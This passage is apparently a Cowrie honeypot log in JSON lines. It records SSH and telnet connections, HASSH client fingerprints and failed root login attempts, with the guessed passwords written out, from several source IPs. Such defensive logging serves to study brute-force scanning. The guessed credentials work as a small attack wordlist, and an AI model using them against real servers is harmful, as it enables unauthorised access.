{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:11:08.816690Z","src_ip":"37.233.85.71","session":"370c3ffd5f35","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"102030q","message":"login attempt [root/102030q] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:11:09.132877Z","src_ip":"37.233.85.71","session":"370c3ffd5f35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:11:10.247415Z","src_ip":"37.233.85.71","session":"370c3ffd5f35","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":58734,"dst_ip":"159.203.135.109","dst_port":22,"session":"5dd26c4ba858","protocol":"ssh","message":"New connection: 103.98.149.87:58734 (159.203.135.109:22) [session: 5dd26c4ba858]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:11:12.288732Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:11:12.495145Z","src_ip":"103.98.149.87","session":"5dd26c4ba858","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:11:12.804385Z","src_ip":"103.98.149.87","session":"5dd26c4ba858","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"special","message":"login attempt [root/special] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:11:15.060374Z","src_ip":"103.98.149.87","session":"5dd26c4ba858","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.4","message":"Connection lost after 6.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:11:18.674582Z","src_ip":"103.98.149.87","session":"5dd26c4ba858","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":40306,"dst_ip":"159.203.135.109","dst_port":23,"session":"6fa0eaf39511","protocol":"telnet","message":"New connection: 135.148.14.151:40306 (159.203.135.109:23) [session: 6fa0eaf39511]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:12:12.409807Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":53090,"dst_ip":"159.203.135.109","dst_port":23,"session":"95918456c008","protocol":"telnet","message":"New connection: 135.148.14.151:53090 (159.203.135.109:23) [session: 95918456c008]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:12:36.798971Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":54802,"dst_ip":"159.203.135.109","dst_port":23,"session":"1d418e97bdcb","protocol":"telnet","message":"New connection: 135.148.14.151:54802 (159.203.135.109:23) [session: 1d418e97bdcb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:12:42.705359Z"}
{"eventid":"cowrie.session.closed","duration":32.961108922958374,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:12:45.370811Z","src_ip":"135.148.14.151","session":"6fa0eaf39511","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00176501274109,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:12:45.798507Z","src_ip":"135.148.14.151","session":"f7f118860f87","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":34130,"dst_ip":"159.203.135.109","dst_port":23,"session":"a4a64dd2c118","protocol":"telnet","message":"New connection: 135.148.14.151:34130 (159.203.135.109:23) [session: a4a64dd2c118]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:12:55.595782Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":37804,"dst_ip":"10.17.0.5","dst_port":22,"session":"327f81dd91aa","protocol":"ssh","message":"New connection: 103.122.221.179:37804 (10.17.0.5:22) [session: 327f81dd91aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:12:56.326962Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:12:56.332935Z","src_ip":"103.122.221.179","session":"327f81dd91aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:12:56.585452Z","src_ip":"103.122.221.179","session":"327f81dd91aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"jhnjgtl12","message":"login attempt [root/jhnjgtl12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:12:57.342649Z","src_ip":"103.122.221.179","session":"327f81dd91aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:12:58.598984Z","src_ip":"103.122.221.179","session":"327f81dd91aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.08894062042236,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:13:12.887796Z","src_ip":"135.148.14.151","session":"95918456c008","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.53901243209839,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:13:17.244277Z","src_ip":"135.148.14.151","session":"1d418e97bdcb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":25242,"dst_ip":"10.17.0.5","dst_port":22,"session":"1ddc6b7731c1","protocol":"ssh","message":"New connection: 194.59.206.2:25242 (10.17.0.5:22) [session: 1ddc6b7731c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:13:24.983939Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:13:24.988659Z","src_ip":"194.59.206.2","session":"1ddc6b7731c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:13:25.074662Z","src_ip":"194.59.206.2","session":"1ddc6b7731c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:13:25.166467Z","src_ip":"194.59.206.2","session":"1ddc6b7731c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.86483407020569,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:13:34.460479Z","src_ip":"135.148.14.151","session":"a4a64dd2c118","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":32846,"dst_ip":"159.203.135.109","dst_port":23,"session":"668613785a37","protocol":"telnet","message":"New connection: 135.148.14.151:32846 (159.203.135.109:23) [session: 668613785a37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:13:54.163222Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":44306,"dst_ip":"159.203.135.109","dst_port":22,"session":"1803b9bb2d21","protocol":"ssh","message":"New connection: 51.250.105.222:44306 (159.203.135.109:22) [session: 1803b9bb2d21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:14:09.307632Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:14:09.313195Z","src_ip":"51.250.105.222","session":"1803b9bb2d21","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:14:09.440771Z","src_ip":"51.250.105.222","session":"1803b9bb2d21","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:14:09.833101Z","src_ip":"51.250.105.222","session":"1803b9bb2d21","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":54454,"dst_ip":"159.203.135.109","dst_port":22,"session":"a4d87f28d776","protocol":"ssh","message":"New connection: 103.77.175.15:54454 (159.203.135.109:22) [session: a4d87f28d776]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:14:10.495182Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:14:10.500732Z","src_ip":"103.77.175.15","session":"a4d87f28d776","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:14:10.763226Z","src_ip":"103.77.175.15","session":"a4d87f28d776","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:14:10.966401Z","src_ip":"51.250.105.222","session":"1803b9bb2d21","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bitch","message":"login attempt [root/bitch] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:14:11.551129Z","src_ip":"103.77.175.15","session":"a4d87f28d776","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:14:12.814309Z","src_ip":"103.77.175.15","session":"a4d87f28d776","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.33324146270752,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:14:29.496349Z","src_ip":"135.148.14.151","session":"668613785a37","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":35140,"dst_ip":"159.203.135.109","dst_port":22,"session":"df37c98e44b8","protocol":"ssh","message":"New connection: 77.94.47.83:35140 (159.203.135.109:22) [session: df37c98e44b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:15:01.700257Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:15:01.706814Z","src_ip":"77.94.47.83","session":"df37c98e44b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:15:01.841704Z","src_ip":"77.94.47.83","session":"df37c98e44b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:15:02.357429Z","src_ip":"77.94.47.83","session":"df37c98e44b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:15:03.471643Z","src_ip":"77.94.47.83","session":"df37c98e44b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.98.239","src_port":41666,"dst_ip":"159.203.135.109","dst_port":22,"session":"e159be022db7","protocol":"ssh","message":"New connection: 94.159.98.239:41666 (159.203.135.109:22) [session: e159be022db7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:15:20.622794Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:15:20.693336Z","src_ip":"94.159.98.239","session":"e159be022db7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2